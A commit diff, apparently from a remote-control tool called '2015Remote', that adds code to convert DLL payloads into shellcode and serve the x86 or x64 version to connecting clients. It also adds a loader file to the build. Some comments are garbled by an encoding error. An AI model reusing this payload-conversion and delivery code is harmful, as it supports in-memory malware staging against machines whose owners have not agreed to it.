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feature: Add a C program to execute shell code

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This commit is contained in:
yuanyuanxiang
2025-05-25 20:57:43 +08:00
parent 19f97de19e
commit 2c4e8528b8
8 changed files with 435 additions and 9 deletions
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56
server/2015Remote/2015RemoteDlg.cpp
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@@ -178,6 +178,11 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
}
InitializeCriticalSection(&m_cs);
}
@@ -185,8 +190,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
CMy2015RemoteDlg::~CMy2015RemoteDlg()
{
DeleteCriticalSection(&m_cs);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++)
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
SAFE_DELETE(m_ServerDLL[i]);
SAFE_DELETE(m_ServerBin[i]);
}
}
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -490,7 +497,28 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
}
Buffer* ReadKernelDll(bool is64Bit) {
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
DWORD flags, LPSTR& outBytes, DWORD& outLength);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
Buffer* ReadKernelDll(bool is64Bit, bool isDLL = true) {
BYTE* szBuffer = NULL;
int dwFileSize = 0;
@@ -513,15 +541,25 @@ Buffer* ReadKernelDll(bool is64Bit) {
if (pData == NULL) {
return NULL;
}
dwFileSize = dwSize;
LPBYTE srcData = (LPBYTE)pData;
int srcLen = dwSize;
if (!isDLL) { // Convert DLL -> Shell code.
if (!MakeShellcode(srcData, srcLen, (LPBYTE)pData, dwSize)) {
Mprintf("MakeShellcode failed \n");
return false;
}
}
dwFileSize = srcLen;
szBuffer = new BYTE[sizeof(int) + dwFileSize + 2];
szBuffer[0] = CMD_DLLDATA;
szBuffer[1] = MEMORYDLL;
szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE;
memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
memcpy(szBuffer + 2 + sizeof(int), pData, dwFileSize);
memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize);
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2);
delete[] szBuffer;
if (srcData != pData)
SAFE_DELETE_ARRAY(srcData);
return ret;
}
@@ -557,6 +595,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
}
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false);
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true);
m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false);
m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false);
// <20><><EFBFBD>ô˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD>ꡣ<EFBFBD><EAA1A3>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2>ǶԻ<C7B6><D4BB><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>ܽ<EFBFBD><DCBD>Զ<EFBFBD>
// ִ<>д˲<D0B4><CBB2><EFBFBD>
@@ -1454,7 +1494,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
SendServerDll(ContextObject, is64Bit);
SendServerDll(ContextObject, typ == MEMORYDLL, is64Bit);
break;
}
case COMMAND_BYE: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -1733,9 +1773,9 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
}
}
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit) {
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit) {
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
auto buf = m_ServerDLL[id];
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
if (buf->length()) {
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
}

3
server/2015Remote/2015RemoteDlg.h
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@@ -150,8 +150,9 @@ public:
BOOL Activate(int nPort,int nMaxConnection);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
MasterSettings m_settings;
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);

6
server/2015Remote/2015Remote_vs2015.vcxproj
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@@ -282,6 +282,12 @@
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\client\Audio.cpp" />
<ClCompile Include="..\..\client\Loader.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="AudioDlg.cpp" />